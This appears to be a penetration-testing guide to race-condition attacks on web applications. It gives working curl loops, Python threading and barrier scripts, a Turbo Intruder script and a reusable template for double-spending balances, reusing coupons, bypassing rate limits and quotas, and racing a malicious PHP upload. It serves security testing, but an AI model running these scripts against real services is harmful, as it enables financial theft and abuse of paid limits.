Skip to main content
CWECWE-362
WSTGWSTG-BUSL-07
MITRE ATT&CKT1499
CVSS Range5.9-8.1
Toolsturbo-intruder
Difficulty🔴 advanced

Race Condition

Race conditions occur when multiple concurrent requests manipulate shared state in unintended ways, exploiting gaps between checks and actions. They exist because load balancers distribute requests across workers, database operations are not atomic by default, and Read-Modify-Write or Check-Then-Act patterns lack proper locking.

Quick Reference​

Attack TypeTargetTechnique
TOCTOUBalance checks, permission checksConcurrent requests during check-use gap
Double-spendCredits, gift cards, walletsSimultaneous deduction requests
HTTP/2 single-packetAny race-vulnerable endpointMultiple frames in one TCP packet
Last-byte syncEndpoints needing precise timingHold requests, release final byte together
Limit bypassRate limits, quotas, couponsBurst requests before counter updates
Payment raceCheckout, refunds, transfersConcurrent payment operations
File upload raceUpload-then-validate flowsAccess file between upload and validation
DB transaction raceAny non-SERIALIZABLE operationExploit isolation level gaps

Identify candidate endpoints by looking for:

  1. Financial operations (balance deductions, transfers, refunds, currency conversion)
  2. Resource allocation (coupon redemption, limited purchases, seat reservations, trial activation)
  3. State transitions (account upgrades, status changes, workflow transitions)
  4. Limit enforcement (rate limiting, quotas, daily/monthly caps)
  5. Unique constraints (username registration, unique ID assignment, one-time tokens)

Exploit TOCTOU (Time-of-Check to Time-of-Use)​

The classic race condition. Exploit the gap between when a condition is checked and when the checked value is used.

The attack window:

Normal Flow:
[Request] -> [Check State] -> [Perform Action] -> [Update State]

Race Condition:
[Request 1] -> [Check State] -----> [Perform Action] -> [Update State]
[Request 2] -------> [Check State] -> [Perform Action] -> [Update State]
^
Both requests see the SAME initial state
Both actions succeed when only ONE should

Vulnerable patterns to look for:

Pattern 1 -- Check-Then-Act:

# VULNERABLE
balance = get_balance(user_id) # Check
if balance >= amount:
deduct_balance(user_id, amount) # Act
process_withdrawal()
# Race window between check and deduction

Pattern 2 -- Read-Modify-Write:

# VULNERABLE
votes = get_vote_count(post_id) # Read
votes = votes + 1 # Modify
save_vote_count(post_id, votes) # Write
# Concurrent writes overwrite each other

Pattern 3 -- Singleton Resource Allocation:

# VULNERABLE
if not coupon_used(code, user_id): # Check
apply_discount(code, user_id) # Use
mark_coupon_used(code, user_id) # Update
# Multiple requests pass the check before any marks it used

Exploitation:

# Method 1: GNU Parallel
seq 1 20 | parallel -j20 "curl -s -X POST https://TARGET/api/withdraw \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d '{\"amount\": 100}'"

# Method 2: Background processes
for i in {1..20}; do
curl -s -X POST https://TARGET/api/withdraw \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d '{"amount": 100}' &
done
wait

# Method 3: Python with threading
python3 << 'PYTHON'
import requests
import threading

url = "https://TARGET/api/withdraw"
headers = {"Cookie": "session=SESSION_TOKEN"}
data = {"amount": 100}

def send_request():
r = requests.post(url, json=data, headers=headers)
print(f"Status: {r.status_code}, Response: {r.text[:200]}")

threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
PYTHON

Verification: Check if balance was deducted multiple times. Compare expected final state vs actual final state. Look for multiple transaction records where only one should exist.

Exploit Double-Spend / Double-Submit​

Exploit systems that check balance before transaction commits. Both requests read the same balance and both proceed.

Target scenarios:

  • Cryptocurrency withdrawals
  • Point/credit redemptions
  • Gift card balance usage
  • Internal currency systems
  • Coupon or promo code redemption

Exploitation:

# Scenario: User has 100 credits, items cost 60 credits each
# Goal: Purchase 2 items (120 credits) with only 100 credits

REQUEST='{"item_id": "premium_item", "use_credits": true}'

curl -s -X POST https://TARGET/api/purchase \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d "$REQUEST" &
curl -s -X POST https://TARGET/api/purchase \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d "$REQUEST" &
wait

# Verify: both purchases succeed, credit balance may be negative or inconsistent

Advanced -- barrier synchronization for precise timing:

import requests
import threading

barrier = threading.Barrier(10) # Synchronize 10 threads

def attack(thread_id):
barrier.wait() # Wait for all threads to be ready
response = requests.post(
"https://TARGET/api/redeem",
json={"coupon": "DISCOUNT50"},
headers={"Cookie": "session=SESSION_TOKEN"}
)
print(f"Thread {thread_id}: {response.status_code} - {response.text[:100]}")

threads = [threading.Thread(target=attack, args=(i,)) for i in range(10)]
for t in threads: t.start()
for t in threads: t.join()

Use HTTP/2 Single-Packet Attack​

HTTP/2 multiplexes requests over a single connection. By sending multiple request frames in a single TCP packet, they arrive at the server simultaneously, eliminating network jitter as a variable.

Traditional (HTTP/1.1):
Request 1 -----> Server processes
Request 2 -----> Server processes (slightly later, different timing)

HTTP/2 Single Packet:
[Req1|Req2|Req3] ----> Server processes ALL simultaneously

This is the most reliable way to trigger race conditions because all requests arrive in the same server event loop tick. Use Turbo Intruder (Burp Suite extension) to automate this:

# Turbo Intruder script for single-packet race
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)

for i in range(20):
engine.queue(target.req, gate='race1')

# Release all requests simultaneously
engine.openGate('race1')

def handleResponse(req, interesting):
table.add(req)

If the target supports HTTP/2, always prefer the single-packet technique over threaded HTTP/1.1 attacks. The timing precision is dramatically better.

Use Last-Byte Synchronization​

When HTTP/2 single-packet attack is not available (HTTP/1.1 only targets), use last-byte synchronization. Send each request minus its final byte across separate connections, then release all final bytes simultaneously.

import socket
import ssl
import threading

def send_request_minus_last_byte(sock, request_bytes):
"""Send the entire request except the last byte. Return the last byte."""
sock.send(request_bytes[:-1])
return request_bytes[-1:]

def complete_requests_simultaneously(sockets, last_bytes):
"""Send the final byte on all connections at once using a barrier."""
barrier = threading.Barrier(len(sockets))

def send_last_byte(sock, byte):
barrier.wait() # All threads release at the same instant
sock.send(byte)

threads = [threading.Thread(target=send_last_byte, args=(s, b))
for s, b in zip(sockets, last_bytes)]
for t in threads: t.start()
for t in threads: t.join()

Steps:

  1. Open N TCP connections to the target.
  2. On each connection, send the full HTTP request except the last byte.
  3. The server holds each connection open, waiting for the complete request.
  4. Use a threading barrier to send all final bytes at the same instant.
  5. All N requests complete server-side simultaneously.

This technique works on HTTP/1.1 and achieves near-identical timing to the HTTP/2 single-packet attack.

Bypass Limits (Rate Limits, Coupons, Votes)​

Bypass rate limits, quotas, and usage caps by exploiting the timing gap between limit check and limit update.

Rate Limit Bypass​

# Scenario: API allows 10 requests per minute
# Goal: Send 50 requests before the limit counter catches up

for i in {1..50}; do
curl -s -X POST https://TARGET/api/sensitive_action \
-H 'Cookie: session=SESSION_TOKEN' &
done
wait

# If vulnerable, many requests succeed before the rate limiter increments

Quota Bypass​

# Scenario: Free tier allows 5 downloads per day
# Goal: Download 20 files

for i in {1..20}; do
curl -s -O "https://TARGET/api/download/$i" \
-H 'Cookie: session=SESSION_TOKEN' &
done
wait

Coupon / Promo Code Abuse​

# Scenario: Single-use coupon code
# Goal: Apply it to multiple orders

for i in {1..10}; do
curl -s -X POST https://TARGET/api/apply_coupon \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d '{"code": "SAVE50", "order_id": "ORDER_'"$i"'"}' &
done
wait

Vote Manipulation​

# Scenario: One vote per user per item
# Goal: Cast multiple votes

for i in {1..20}; do
curl -s -X POST https://TARGET/api/vote \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d '{"item_id": "target_item", "direction": "up"}' &
done
wait

# Check: vote count should have increased by more than 1

Invitation / Referral Abuse​

# Scenario: Each user can invite 3 friends
# Goal: Send 10 invitations

for i in {1..10}; do
curl -s -X POST https://TARGET/api/invite \
-H 'Content-Type: application/json' \
-H 'Cookie: session=SESSION_TOKEN' \
-d "{\"email\": \"friend${i}@example.com\"}" &
done
wait

Exploit Payment Race Conditions​

Payment flows are high-value targets. Focus on:

Checkout race: Submit multiple checkout requests for the same cart simultaneously. If vulnerable, the order processes multiple times but payment is charged once.

Refund race: Request refunds concurrently for the same transaction. The system may issue multiple refunds for a single payment.

Transfer race: Submit multiple transfer requests simultaneously from the same account. Both reads see the full balance and both transfers succeed.

Plan upgrade/downgrade race: Simultaneously upgrade and downgrade a subscription. The system may grant premium features at the basic price.

Seat allocation race (SaaS):

# Test adding users beyond seat limit
for i in {1..20}; do
curl -s -X POST https://TARGET/api/workspaces/WORKSPACE_ID/members \
-H 'Authorization: Bearer TOKEN' \
-H 'Content-Type: application/json' \
-d "{\"user_id\": \"USER_$i\"}" &
done
wait

Trial activation race:

# Test activating a trial multiple times
for i in {1..10}; do
curl -s -X POST https://TARGET/api/billing/activate_trial \
-H 'Cookie: session=SESSION_TOKEN' &
done
wait

Always check the final billing state, not just the HTTP responses. A 200 response does not confirm the race succeeded -- verify the actual account balance, subscription status, or refund records.

Exploit File Upload Races​

Exploit race conditions in file upload-then-validate flows.

Upload validation bypass:

# Scenario: File is uploaded, validated, then renamed/deleted if invalid
# Goal: Access the file in the window between upload and validation

# Step 1: Upload a malicious file
curl -X POST https://TARGET/api/upload \
-F 'file=@malicious.php'

# Step 2: Immediately try to access before validation/deletion completes
for i in {1..100}; do
curl -s "https://TARGET/uploads/malicious.php" &
done
wait

Temp file race:

import threading
import requests

def trigger_file_creation():
requests.post("https://TARGET/api/process",
files={"data": ("file.csv", "sensitive,data\n1,2")})

def try_access_temp_file():
for _ in range(1000):
r = requests.get("https://TARGET/tmp/processing_12345.csv")
if r.status_code == 200:
print(f"SUCCESS: {r.text[:200]}")
break

threading.Thread(target=trigger_file_creation).start()
threading.Thread(target=try_access_temp_file).start()

Symlink race: If the application creates files in predictable paths, create a symlink at that path before the application writes. The application may write to a location you control.

Exploit Database Race Conditions​

Exploit improper transaction isolation or missing transactions entirely.

Isolation level vulnerabilities:

LevelVulnerability
READ UNCOMMITTEDDirty reads -- can see uncommitted changes
READ COMMITTEDNon-repeatable reads -- state changes between queries in same transaction
REPEATABLE READPhantom reads -- new rows appear between queries
SERIALIZABLEMost protected, rarely used due to performance cost

Classic transaction race:

-- Transaction 1
BEGIN;
SELECT balance FROM accounts WHERE id = 1; -- Returns 100
-- ... delay ...
UPDATE accounts SET balance = balance - 50 WHERE id = 1;
COMMIT;

-- Transaction 2 (during Transaction 1's delay)
BEGIN;
SELECT balance FROM accounts WHERE id = 1; -- Also returns 100 (not yet updated)
UPDATE accounts SET balance = balance - 50 WHERE id = 1;
COMMIT;

-- Result: Only 50 deducted instead of 100

What to look for:

  • Endpoints that perform SELECT then UPDATE without SELECT ... FOR UPDATE.
  • Operations that lack database transactions entirely (each query auto-commits).
  • Advisory locks that can be bypassed by faster requests.
  • ORM-level "optimistic locking" that silently discards conflicts.

Lock bypass attempt:

# Some systems use advisory locks that can be bypassed
# by overwhelming the lock acquisition mechanism
for i in {1..100}; do
curl -s -X POST https://TARGET/api/atomic_operation \
-H 'Cookie: session=SESSION_TOKEN' &
done
wait

Testing Methodology​

Step 1: Identify Candidates​

Analyze the application for endpoints involving:

  • State-changing operations with business logic checks
  • Any operation with a check-then-act pattern
  • Financial or resource allocation endpoints

Step 2: Measure the Race Window​

# Measure baseline response time to estimate the race window
time curl -s -X POST https://TARGET/api/endpoint \
-H 'Content-Type: application/json' \
-d '{"normal": "request"}'

# The race window is approximately:
# - Time for check operation (database query)
# - Time for action processing
# - Time before state update commits

Step 3: Assess Exploitability​

Ask:

  • Is the operation idempotent? (If truly idempotent, no race impact.)
  • Are there database transactions with proper isolation?
  • Is there any mutex/locking mechanism?
  • Does the operation use atomic database operations (e.g., UPDATE ... SET balance = balance - 50 WHERE balance >= 50)?

Step 4: Connection Warming​

Pre-establish connections before the attack to reduce timing variance:

import requests
import threading

TARGET = "https://TARGET/api/endpoint"

# Warm up connections
sessions = [requests.Session() for _ in range(20)]
for s in sessions:
s.get(TARGET) # Establish TCP + TLS

# Attack with warm connections
barrier = threading.Barrier(20)
data = {"amount": 100}

def attack(session):
barrier.wait()
return session.post(TARGET, json=data, headers={"Cookie": "session=SESSION_TOKEN"})

threads = [threading.Thread(target=attack, args=(s,)) for s in sessions]
for t in threads: t.start()
for t in threads: t.join()

Step 5: Run the Attack​

Use the appropriate technique based on the target:

Target supportsUse
HTTP/2Single-packet attack (Turbo Intruder)
HTTP/1.1 onlyLast-byte synchronization
AnyThreaded requests with barrier sync

Send 10-50+ concurrent requests. Sending only 2-3 is rarely enough for reliable exploitation.

Step 6: Retry on Failure​

Race conditions are probabilistic. Run multiple attempts:

for attempt in range(10):
reset_state() # Always reset between attempts
results = run_race_attack()
if is_successful(results):
print(f"Race triggered on attempt {attempt + 1}")
break
time.sleep(0.1)

Step 7: Verify Final State​

Always check the final state after all requests complete, not just the HTTP responses:

# Wait for all processing to complete
sleep 2
# Check the actual final state
curl -s https://TARGET/api/balance -H 'Cookie: session=SESSION_TOKEN'
curl -s https://TARGET/api/orders -H 'Cookie: session=SESSION_TOKEN'

Turbo Intruder (Burp Suite)​

For the most reliable results, use Turbo Intruder with the gate mechanism:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)

for i in range(20):
engine.queue(target.req, gate='race1')

engine.openGate('race1') # Release all at once

def handleResponse(req, interesting):
table.add(req)

Custom Python Script Template​

import requests
import threading
import time

TARGET = "https://TARGET/api/endpoint"
COOKIES = {"session": "SESSION_TOKEN"}
PAYLOAD = {"amount": 100}
NUM_THREADS = 20
NUM_ATTEMPTS = 5

def check_state():
"""Check current state before and after attack."""
r = requests.get(f"{TARGET}/state", cookies=COOKIES)
return r.json()

def attack_thread(barrier, results, thread_id):
session = requests.Session()
session.get(TARGET, cookies=COOKIES) # Warm connection
barrier.wait() # Synchronize
r = session.post(TARGET, json=PAYLOAD, cookies=COOKIES)
results[thread_id] = {"status": r.status_code, "body": r.text[:200]}

for attempt in range(NUM_ATTEMPTS):
before = check_state()
barrier = threading.Barrier(NUM_THREADS)
results = {}
threads = [threading.Thread(target=attack_thread, args=(barrier, results, i))
for i in range(NUM_THREADS)]
for t in threads: t.start()
for t in threads: t.join()
time.sleep(1)
after = check_state()

successes = sum(1 for r in results.values() if r["status"] == 200)
print(f"Attempt {attempt + 1}: {successes}/{NUM_THREADS} succeeded")
print(f" Before: {before}")
print(f" After: {after}")

if successes > 1:
print("RACE CONDITION CONFIRMED")
break

Assess Impact​

When you confirm a race condition, classify its impact:

L1 -- Timing Anomaly:

  • Response timing variations suggest a race window exists.
  • Concurrent requests show inconsistent response times or lock-wait behavior.
  • Impact: Theoretical only. Document timing measurements.

L2 -- State Inconsistency:

  • Concurrent requests cause unexpected state (incorrect counters, duplicate entries).
  • Impact: Confirmed vulnerability but unclear security impact.
  • Document before/after state comparison.

L3 -- Business Logic Violation:

  • Race condition violates business rules: balance goes negative, limits exceeded, unique constraints violated.
  • Impact: Security-relevant with demonstrable business impact.
  • Document expected vs actual state and impact in business terms.

L4 -- Critical Exploitation:

  • Race condition enables financial theft (double-spend), authorization bypass, data exposure, or account takeover.
  • Impact: Critical with immediate security or financial consequences.
  • Provide a full PoC with financial or security impact calculation.

Document the PoC​

When documenting a race condition finding:

  1. Show the before state -- account balance, coupon status, vote count, etc.
  2. Show the attack -- exact commands or script used, number of concurrent requests.
  3. Show the after state -- the inconsistent or exploited result.
  4. Calculate impact -- financial loss, unauthorized access scope, data affected.
  5. Demonstrate reproducibility -- include success rate across multiple attempts (e.g., "succeeded 7/10 attempts").
  6. Note timing requirements -- whether HTTP/2 is needed, number of concurrent threads, whether connection warming was required.

Template:

## Race Condition: [Endpoint/Feature]

**Before state:** Balance = $100, coupon SAVE50 unused
**Attack:** 20 concurrent POST /api/purchase requests with coupon SAVE50
**After state:** 5 orders placed, each with $50 discount. Balance = -$150
**Impact:** $250 in unauthorized discounts per attack iteration
**Reproduction rate:** 7/10 attempts with 20 threads, barrier synchronization
**Technique:** Python threading with barrier sync, 20 warm connections

Tools​

ToolUse Case
Turbo Intruder (Burp Suite)HTTP/2 single-packet attack, gate-based synchronization. Best reliability.
GNU ParallelQuick bash-based concurrent request testing.
Python threading + BarrierCustom race scripts with precise synchronization.
curl + background processesSimple concurrent request testing.
asyncio + aiohttpHigh-concurrency Python attacks with async I/O.
Burp Repeater (group send)Manual parallel request sending for quick validation.
racepwnDedicated race condition testing tool.

Common pitfalls to avoid:

  • Sending too few requests (2-3). Use 10-50+ for reliable exploitation.
  • Not warming connections. Pre-establish TCP+TLS before the attack.
  • Testing only identical requests. Also test related requests that touch the same state (e.g., withdraw + transfer simultaneously).
  • Ignoring partial success. If 3 out of 20 requests succeed when only 1 should, that is a confirmed race condition.
  • Checking only HTTP responses, not final state. Always verify the actual database/account state after the attack.
  • Not resetting state between attempts. Each attempt must start from a known state.
  • Assuming idempotency. Verify whether the operation is truly idempotent or just appears to be.

SaaS-specific targets to test:

  • Team/workspace member invitation limits and role changes
  • Seat allocation beyond plan limits
  • OAuth token and API key generation
  • Plan upgrade/downgrade transitions
  • Trial activation (multiple trials from same account)
  • Webhook registration limits

Prioritization​

Test these first (highest real-world exploitability)​

  1. Double-spend on financial operations -- Highest real-world impact. Simultaneously submit balance deductions, gift card redemptions, or payment operations. Use HTTP/2 single-packet attack for precise timing. Financial race conditions are commonly exploited and have clear business impact.
  2. Coupon/promo code reuse via concurrent requests -- Apply the same single-use code simultaneously across multiple requests. High success rate due to common Read-Modify-Write patterns without database-level locking.
  3. Rate limit bypass via burst requests -- Submit many requests in a single TCP packet before the rate counter updates. Effective against vote manipulation, review systems, and referral bonuses.

Test these if time permits (lower exploitability)​

  1. TOCTOU on permission checks -- Submit requests during the window between a permission check and the actual operation. Harder to exploit reliably but high impact when successful (e.g., accessing resources after permission revocation).
  2. File upload race conditions -- Access uploaded files before validation/deletion completes. Requires precise timing and knowledge of the upload processing pipeline.
  3. Account registration races -- Create multiple accounts with the same email or claim the same unique resource simultaneously. Lower impact unless tied to financial or privilege operations.

Skip if​

  • No financial, quota, or rate-limiting logic exists in the application
  • Application is stateless with no shared mutable state between requests (no database, no session store, no shared cache)

Note: Database constraints and transactions reduce race condition risk but do not eliminate it. TOCTOU gaps between application-level checks and database writes are common even with proper constraints. Always test critical operations with concurrent requests rather than assuming implementation correctness.

Asset criticality​

Prioritize by financial impact: payment/transfer endpoints > credit/balance operations > coupon/discount redemption > rate-limited actions > resource creation. Race conditions on financial endpoints are Critical. On non-financial rate limits, they are typically Medium.